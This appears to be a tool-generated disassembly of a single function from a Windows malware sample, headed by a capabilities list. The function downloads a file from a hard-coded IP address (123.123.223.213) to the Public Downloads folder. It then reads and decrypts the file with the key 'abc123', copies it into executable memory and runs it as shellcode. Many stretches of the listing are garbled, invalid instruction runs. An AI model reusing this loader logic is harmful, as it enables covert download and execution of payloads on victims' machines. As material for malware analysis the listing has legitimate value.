Function at 0x140005690
Capabilities:
Allocate or change rwx memory
Check if file exists
Execute shellcode via indirect call
Get file attributes
Read file on windows

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov r9d, dword [0x14000d104]
test r9d, r9d
jne 0x140005af8
nop
nop
nop
nop
add byte [rbp + 0xf900508], cl
or bh, bh
invalid
lea rbp, str.AAAA
mov ecx, 0xbb8
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
call rdi
xor r9d, r9d
xor ecx, ecx
mov rsi, qword [sym.imp.USER32.dll_MessageBoxA]
lea r8, str.AAAADDDD
mov rdx, rbp
call rsi
cmp dword [0x14000d100], 2
jle 0x1400081c8
mov r8d, dword [0x14000d104]
test r8d, r8d
je 0x1400081e0
call fcn.140003bf0
mov ecx, dword [0x14000d104]
test ecx, ecx
jne 0x140005fa1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [rdi], 0xb03080c
add eax, 0x4e60c0f
or dword [rax], eax
invalid
lea rcx, [0x140016018]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x14000a3f0
mov eax, dword [0x14000d104]
test eax, eax
jne 0x140006414
nop
nop
nop
nop
nop
nop
nop
nop
or eax, 0x8d030175
add eax, 0xb0e0100
add ecx, dword [rax]
or eax, 0xe000049
or eax, dword [rbx]
or byte [0xca006032], cl
add dword [rdi], eax
xor ecx, dword [rdi]
invalid
lea rdx, section..tls
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
test rax, rax
je 0x1400096e0
mov eax, dword [0x14000d104]
test eax, eax
je 0x140008638
lea r13, str.C:UsersPublicDownloads1.jpg
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140009af0
mov eax, dword [0x14000d104]
test eax, eax
je 0x140008a90
lea rdx, [0x14000e074]
mov rcx, r13
call sub.msvcrt.dll_fopen
mov rsi, rax
test rax, rax
je 0x1400096e0
mov ebp, dword [0x14000d104]
test ebp, ebp
jne 0x1400068da
nop
nop
or dword [rbx + 0x804080e], eax
add eax, ecx
add byte [rbx + rax*4], al
or al, 2
add al, 8
add eax, dword [rax]
add byte [rax], al
add byte [rax], cl
or ecx, dword [rsi + 0x9c0800]
add byte [rax], al
or byte [0x14400707c], al
add byte [rax], al
add byte [0x1440dccbc], al
rol dword [rdi + rax], cl
add byte [rax], cl
adc al, 0
invalid
mov r8d, 2
xor edx, edx
mov rcx, rsi
call sub.msvcrt.dll_fseek
mov r11d, dword [0x14000d104]
test r11d, r11d
jne 0x140006ce2
nop
nop
nop
nop
nop
nop
invalid
mov rcx, rsi
call sub.msvcrt.dll_ftell
xor r8d, r8d
xor edx, edx
mov rcx, rsi
movsxd r12, eax
call sub.msvcrt.dll_fseek
mov r10d, dword [0x14000d104]
test r10d, r10d
je 0x140008e80
mov rcx, r12
call sub.msvcrt.dll_malloc
mov rbp, rax
test rax, rax
je 0x14000aca4
mov r9, rsi
mov r8, r12
mov edx, 1
mov rcx, rbp
call sub.msvcrt.dll_fread
mov rcx, rsi
call sub.msvcrt.dll_fclose
mov r9d, dword [0x14000d104]
test r9d, r9d
jne 0x140007131
nop
nop
nop
nop
nop
nop
nop
or edx, dword [rax]
or al, 0xb9
add eax, dword [rax]
fadd dword [rcx + rcx]
add byte [rdi + rax], cl
add r8b, byte [rax + rax]
add dword [rax], eax
add byte [rax], al
mov dword [rcx], ecx
add eax, 0x20044
add byte [rax], al
mov dword [rax], ecx
invalid
lea r8, str.abc123
mov rdx, r12
mov rcx, rbp
call fcn.1400016e0
mov r8d, 0x1000
mov rdx, r12
xor ecx, ecx
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [0x14000d104]
mov rsi, rax
test r8d, r8d
jne 0x140007555
nop
nop
nop
jl 0x140007174
add al, 0x1c
or byte [rbx], cl
pop rsp
add al, byte [rax + riz]
add ecx, dword [rbx]
pop rsp
add al, byte [rax + rbp]
or byte [rbx], cl
or rax, 0x4018d08
push rbp
add byte [rdx], al
add byte [rax], al
add byte [rax], al
or byte [rsi], cl
mov byte [rsp + rax], 0x24
add cl, byte [rax]
add cl, byte [rsi]
or byte [rax + 0xf], dl
invalid
mov rcx, rsi
mov r8, r12
mov rdx, rbp
call sub.msvcrt.dll_memcpy
mov ecx, dword [0x14000d104]
test ecx, ecx
jne 0x1400079bd
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
invalid
mov ecx, 1
call rdi
call rsi
mov rcx, rbp
call sub.msvcrt.dll_free
mov edx, dword [0x14000d104]
test edx, edx
jne 0x140007dc4
nop
nop
nop
nop
or eax, 0xeb020050
add byte [rsi], al
lea ecx, [rcx]
or eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rdi + rcx], cl
or byte [0x140007a7e], al
add byte [rax], al
push 0xf
invalid
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [0x14000d104]
test eax, eax
jne 0x1400081c8
nop
nop
nop
nop
nop
pop rdi
invalid
xor eax, eax
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
or byte [rbp], cl
or al, 0
add byte [rax], al
push 0x453080d
invalid
nop
nop
nop
nop
nop
nop
nop
nop
je 0x140008642
invalid
add al, 0x4c
add eax, 0x70c5002
add byte [rax + rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or al, 0
add byte [rax], al
add byte [rax], al
add bh, al
add al, 1
or byte [rax], al
add byte [rax], al
add byte [rax], al
jmp 0x140008ab9
add byte [rax], al
add eax, 0x501ff00
push rax
or byte [rbx], al
in al, dx
add al, byte [rbx + rdx*2]
add eax, 0x10a5706
invalid
mov eax, dword [rbx]
invalid
mov r12d, dword [0x14000d104]
test r12d, r12d
jne 0x140009ad8
or dword [rsi], ecx
or byte [rcx + 0xc], dl
invalid
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
jmp 0x1400081ca
mov eax, dword [0x14000d104]
test eax, eax
jne 0x140009f4a
nop
nop
add eax, 0x3005c
add byte [rax], al
mov dword [rbx], ecx
add eax, 0x30060
add byte [rax], al
add byte [rax], al
invalid
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x20], 0
lea r8, str.C:UsersPublicDownloads1.jpg
lea rdx, str.http:__123.123.223.213_a.jpg
call r12
test eax, eax
jns 0x140006457
mov eax, dword [0x14000d104]
test eax, eax
jne 0x14000a3cb
nop
invalid
xor ecx, ecx
xor r9d, r9d
lea r8, [0x14000e1b8]
mov rdx, rbp
call rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x140009ae1
mov edx, dword [0x14000d104]
test edx, edx
jne 0x140009ae1
nop
nop
add al, byte [rax]
jae 0x14000a406
or eax, 0x85000966
or eax, 0x4080f0b
or dword [rax], eax
test dword [0x14408b319], ecx
invalid
mov rcx, rsi
call sub.msvcrt.dll_fclose
jmp 0x140009ad8